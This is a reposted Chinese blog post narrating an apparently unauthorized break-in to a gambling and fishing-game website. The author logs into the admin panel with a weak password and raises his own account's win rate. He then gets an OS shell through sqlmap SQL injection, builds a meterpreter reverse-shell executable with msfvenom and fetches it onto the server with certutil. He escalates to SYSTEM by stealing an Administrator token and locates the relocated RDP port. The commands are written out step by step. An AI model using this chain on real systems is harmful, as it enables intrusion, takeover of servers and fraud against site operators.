某棋牌站点注入到提权之路
2023-6-16 09:51:6 Author: 黑白之道(查看原文) 阅读量:31 收藏

0x01 前言

在某某附近人发来送￥的邀请截图，在棋牌捕鱼上面把赠送的金额打光之后、随之来做个渗透测试....通过意见反馈打到后台地址以及cookie过期....之后

0x02 开始渗透

开局一个后台
界面挺不错的有点高级高级的感觉，咱先来试试弱口令
咦....直接进去了。随后把账户的胜利调到了百分比
打了一上午鱼之后，金币高达52w
突然感觉好像有点什么不对，，，，咱是来做渗透的不是来捕鱼的吧
渗透棋牌不登陆到服务器界面怎么合适呢
咳咳...继续渗透
后台没有上传点 配置文件也不知道路径在哪 ...有点棘手
我们回到登陆框 在账户上加个单引号试试看看有没有sqli
嗯哼..点登陆没反应抓包sqlmap一把梭

嗯...很强 存在延时注入
我们继续看看是否dba权限
ture看来运气很好啊 直接--os-shell
权限有点小啊 ，，，但问题不大 掏出我们的msf
msfvenom -p windows/meterpreter/reverse_tcp lhost="外网ip地址" lport="监听端口" -f exe > msf.exe 生成木马
放置外网方便使我们的目标服务器下载
先在目标服务器创建一个放置木马的文件夹
md c:\test
我们使用certutil.exe进行下载
certutil.exe -urlcache -split -f “木马下载地址” C:\test\test.exe
木马下载成功我们回到msf
设置使用exploit/multi/handler模块
设置payload
show options 看看需要配置的参数
set LHOST “外网ip” //于木马的ip一致set LPORT "端口" //于木马的监听端口一致
随后 run执行
紧接着目标服务器运行木马
成功反弹shell
因为我们的权限太小所以我们现在要先进行提权
使用use incognito来加载会话令牌模块
然后list_tokens -u来列出会话令牌
使用impersonate_token "WIN-IGSV8O3CA7E\Administrator" 盗取 administrator 令牌 getuid查看一下
嘿嘿嘿 
最最最后使用getsystem来获取system权限
咳咳 接下来就是shell进入
cmd提取命令一把梭
接下来就是快快乐乐的登陆远程服务器了
美滋滋的~~
（然而事情没那么简单~）
咦....
内部出现错误 咋回事了....难道远程端口被改了吗。。。。
nmap出动扫描一下端口
没有开放3389 ...... 确定以及肯定是改端口了我们回到shell看看
执行 tasklist /svc
找到svchost.exe进程下termservice服务对应的PID
再执行netstat -ano
根据PID号查找对应远程端口，远程端口为5566端口
嘿~这次能完美手工了吧
Very Good~ 

0x03 链接获取

文章来源：90sec社区（hs4cky）
原文链接：https://forum.90sec.com/t/topic/945

文章来源：排版：李白你好

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650571922&idx=4&sn=d9d0ab3f9bbc1a3aa44562a60a7aa5ca&chksm=83bde176b4ca68605026fc7477101e38b713acfc6d0566b3ae2824fdd08fb797d23a92cbf956#rd
如有侵权请联系:admin#unsafe.sh